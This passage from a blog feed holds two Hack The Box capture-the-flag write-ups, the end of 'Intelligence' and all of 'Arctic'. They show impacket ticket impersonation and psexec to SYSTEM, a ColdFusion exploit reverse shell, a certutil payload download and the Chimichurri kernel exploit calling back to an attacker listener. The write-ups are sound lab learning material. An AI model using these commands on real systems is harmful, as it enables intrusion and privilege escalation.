<p>This fails because the clock skew is too great - the what now?! As mentioned at the beginning too great of a time difference can cause the scripts to fail. So how do we fix this you ask?! We use NTP - network time protocol, and specifically, ntpdate which is a command-line tool to use an external network time server. As far as I know Domain Controllers sometimes also act as NTP servers and we have a domain controller here, so let's try to sync our time with the machine via ntpdate -</p>
<pre><code class="lang-bash">timedatectl set-ntp <span class="hljs-literal">true</span>
sudo apt-get install ntpdate
sudo ntpdate 10.10.10.248                                                                  
26 Aug 19:35:08 ntpdate[17403]: step time server 10.10.10.248 offset +25308.747794 sec

impacket-getST intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -impersonate Administrator -dc-ip 10.10.10.248 -hashes :5e47bac787e5e1970cf9acdb5b316239
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT <span class="hljs-keyword">for</span> user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket <span class="hljs-keyword">in</span> Administrator.ccache
</code></pre>
<p>Tadaaaa we get a ticket for the administrator :O so the only thing left for us to figure out is how to use this ticket to authenticate, so we ask our favorite friend google and it tells us to export the ticket to an environment variable called <code>KRB5CCNAME</code> (https://www.onsecurity.io/blog/abusing-kerberos-from-linux/)</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> KRB5CCNAME=Administrator.ccache
</code></pre>
<p>now we should be able to use psexec (impacket) to get a shell as admin, right?! right!</p>
<h2 id="heading-root-access-and-shell">root access and shell</h2>
<pre><code class="lang-bash">psexec.py intelligence.htb/Administrator@dc.intelligence.htb -k -no-pass -dc-ip 10.10.10.248 -target-ip 10.10.10.248
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.10.248..... 
[*] Found writable share ADMIN$
[*] Uploading file AWLtKrZo.exe
[*] Opening SVCManager on 10.10.10.248.....
[*] Creating service IJDk on 10.10.10.248.....
[*] Starting service IJDk.....
[!] Press <span class="hljs-built_in">help</span> <span class="hljs-keyword">for</span> extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&gt;whoami
nt authority\system

c:\Users\Administrator\Desktop&gt;<span class="hljs-built_in">type</span> root.txt
6c0dbe0...&lt;redacted&gt;
</code></pre>
<p>Another option is to use evil-winrm or impacket's smbclient:</p>
<pre><code class="lang-bash">python3 /usr/share/doc/python3-impacket/examples/smbclient.py -k intelligence.htb/Administrator@dc.intelligence.htb -no-pass
</code></pre>
<h2 id="heading-shout-outs">Shout outs</h2>
<p>Thank you to GameDadel, Trismah, fluxesss, aynkl2 and last but not least 0reoByte for joining the stream, giving me money to do something I love and for generally being awesome.</p>
<p>Until next time, friends.</p>
<p>Keep hacking the world and learn AD ;) </p>
]]></content:encoded></item><item><title><![CDATA[Hack The Box Arctic - Walkthrough]]></title><description><![CDATA[Welcome to the first walkthrough on this blog - Today we will focus on Arctic - a Windows Box that will test your methodology and gives you a chance to grow as a penetration tester / ethical hacker. 
The way I approach CTF machines is very much a go ...]]></description><link>https://maikroservice.com/hack-the-box-arctic-walkthrough</link><guid isPermaLink="true">https://maikroservice.com/hack-the-box-arctic-walkthrough</guid><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Mon, 29 Nov 2021 15:25:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1638191848280/mBJJ3-ucT.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Welcome to the first walkthrough on this blog - Today we will focus on Arctic - a Windows Box that will test your methodology and gives you a chance to grow as a penetration tester / ethical hacker. </p>
<p>The way I approach CTF machines is very much a go to grow mentality. When I started 6 months ago, I did not know how to collect the necessary information to enumerate, let alone compromise any machine/environment. Trial and error is the best friend during this journey and I will share my errors with you, so you don't have to necessarily make all the same mistakes I did. </p>
<h1 id="heading-mindset">Mindset</h1>
<p>Your mental model is the most important thing you potentially don't have yet but might need to develop. 
It is about abstracting the things you want to explore - e.g. if you find a webserver and that one is also a mailserver in your head you could create a mental model of the attack surface - what can you try, which possibilities for compromise are you aware of and how can you exploit these potentially. 
Follow your methodology, it is the strongest supporter for you. </p>
<p>if you want to follow my methodology, feel free to copy this this template: 
https://maikroservice.notion.site/CTF-TEMPLATE-1d8ada6a7df441e9a5976e51c1d74fac</p>
<h2 id="heading-ping">Ping</h2>
<p>The first thing I normally do is to check the ICMP response by pinging the box. The result you receive back will show potentially valuable information e.g. the TTL (time to live), if this is around 127 it is a windows box most likely, while numbers around 64 indicate a linux based machine.</p>
<pre><code class="lang-bash">ping 10.10.10.11
</code></pre>
<p>This box does not respond to ping - <em>Windows boxes sometimes don't respond to ping unless it is enabled AFAIK, so probably this is the reason why we do not get a response here.</em></p>
<h2 id="heading-port-scan">Port Scan</h2>
<p>Next up is the classical port scan, you can use nmap or rustscan or other tools to identify open ports. This scan is usually done in an incremental manner, nmap scans the top 1000 ports by default and with the flags used below will enumerate Versions (-sV) and run default scripts (-sC), these two can be combined to -sCV. 
T4 indicates the speed with which the scan is conducted, it goes from T1 (slow) to T5 (fast).
Since the box does not respond to ping we use the -Pn option to skip the host discovery part of the scan. 
Finally, the output should be saved to a file in a "normal" format and this is achieved by using -oN followed by the file name - I usually use *.initial for the top 1000 scan, *.full for the full 65535 TCP ports and *.udp for UDP scans. </p>
<pre><code class="lang-bash">nmap -sCV -T4 -Pn 10.10.10.11 -oN arctic.initial
</code></pre>
<p>We get back a result with three open ports, two out of those are fairly common (135 &amp; 49154, both associated with Windows remote procedure call - RPC) - from experience those are fairly rarely involved in exploits directly so lets first focus on <strong>low hanging fruits</strong>, namely port 8500. 
Whenever I see a uncommon port as the only source I open it in my browser via <code>&lt;ip&gt;:&lt;port&gt;</code> - so in this case <code>10.10.10.11:8500</code>, which reveals Adobe Coldfusion. Let's check if there are any known exploits for that. </p>
<pre><code class="lang-bash">Host discovery disabled (-Pn). All addresses will be marked <span class="hljs-string">'up'</span> and scan <span class="hljs-built_in">times</span> will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-16 19:41 CEST
Nmap scan report <span class="hljs-keyword">for</span> 10.10.10.11
Host is up (0.038s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
</code></pre>
<h2 id="heading-service-enumeration-exploit">Service Enumeration / Exploit</h2>
<p>We did find Adobe Coldfusion (v8) via the last step and use exploit-db.com to check for any known exploits. We find https://www.exploit-db.com/exploits/50057 and modify it to include our virtual network interface IP (usually accessible via <code>ifconfig tun0</code>).</p>
<pre><code class="lang-bash">lhost = <span class="hljs-string">"10.10.16.4"</span>
lport = 4444
rhost = <span class="hljs-string">"10.10.10.11"</span>
rport = 8500
</code></pre>
<p>Once we did that we can fire the exploit and catch a reverse shell as <code>tolis</code> and find the user.txt flag on their Desktop.</p>
<pre><code>c:\Users\tolis\Desktop&gt;dir
dir
<span class="hljs-keyword">user</span>.txt
</code></pre><h2 id="heading-post-exploitation">Post Exploitation</h2>
<p>on the machine we are greeted with a command prompt of a very old windows </p>
<pre><code><span class="hljs-string">Microsoft</span> <span class="hljs-string">Windows</span> [<span class="hljs-string">Version</span> <span class="hljs-number">6.1</span><span class="hljs-number">.7600</span>]
<span class="hljs-string">Copyright</span> <span class="hljs-string">(c)</span> <span class="hljs-number">2009 </span><span class="hljs-string">Microsoft</span> <span class="hljs-string">Corporation.</span>
</code></pre><p>This indicates a kernel exploit - we can check for some and in the end find MS10-059 or Chimichurri (https://github.com/egre55/windows-kernel-exploits/tree/master/MS10-059: Chimichurri/Compiled) as a suitable candidate. Lets download the precompiled binary and upload it to the target.</p>
<p>A suitable method to do that is a python webserver on your local machine, I use the python 3 version via:</p>
<pre><code class="lang-bash">python3 -m http.server 8080
</code></pre>
<p>and then </p>
<pre><code><span class="hljs-selector-tag">certutil</span> <span class="hljs-selector-tag">-urlcache</span> <span class="hljs-selector-tag">-f</span> <span class="hljs-selector-tag">http</span>:<span class="hljs-comment">//&lt;myMachineIP&gt;:8080/chimichurri.exe</span>
</code></pre><p>to download the file on the target machine. Typical folders where this can be executed are the Document/Download folder of the compromised user and the c:\windows\temp folder. 
Other options would be impacket's smbserver or smtp/sftp (we will explore the impacket-smbserver on the next machine)  </p>
<p>Back to Chimichurri - The exploit, when executed targets the Tracing Service of Windows (more details here: https://itm4n.github.io/chimichurri-reloaded/) and is able to elevate out privileges to NT Authority\System. 
Let's try that and provide our local IP and a port to catch the shell on -</p>
<pre><code class="lang-bash">Chimichurri.exe 10.10.14.18 9001
/Chimichurri/--&gt;This exploit gives you a Local System shell 
/Chimichurri/--&gt;Changing registry values...
/Chimichurri/--&gt;Got SYSTEM token...
/Chimichurri/--&gt;Running reverse shell...
/Chimichurri/--&gt;Restoring default registry values...
</code></pre>
<p>We can now read the <code>root.txt</code> and have rooted the box. Good job. </p>
<pre><code><span class="hljs-string">nc</span> <span class="hljs-string">-lvnp</span> <span class="hljs-number">9001</span>                          
<span class="hljs-string">listening</span> <span class="hljs-string">on</span> [<span class="hljs-string">any</span>] <span class="hljs-number">9001</span> <span class="hljs-string">...</span>            
<span class="hljs-string">connect</span> <span class="hljs-string">to</span> [<span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.18</span>] <span class="hljs-string">from</span> <span class="hljs-string">(UNKNOWN)</span> [<span class="hljs-number">10.10</span><span class="hljs-number">.10</span><span class="hljs-number">.11</span>] <span class="hljs-number">49440</span>                          
<span class="hljs-string">Microsoft</span> <span class="hljs-string">Windows</span> [<span class="hljs-string">Version</span> <span class="hljs-number">6.1</span><span class="hljs-number">.7600</span>]
<span class="hljs-string">Copyright</span> <span class="hljs-string">(c)</span> <span class="hljs-number">2009 </span><span class="hljs-string">Microsoft</span> <span class="hljs-string">Corporation.</span>  <span class="hljs-string">All</span> <span class="hljs-string">rights</span> <span class="hljs-string">reserved.</span>
<span class="hljs-string">C:\Users\tolis\AppData\Local\Temp&gt;whoami</span>
<span class="hljs-string">whoami</span>
<span class="hljs-string">nt</span> <span class="hljs-string">authority\system</span>
<span class="hljs-string">C:\Users\Administrator\Desktop&gt;dir</span>
<span class="hljs-string">dir</span>
<span class="hljs-string">root.txt</span>
</code></pre>]]></content:encoded></item></channel></rss>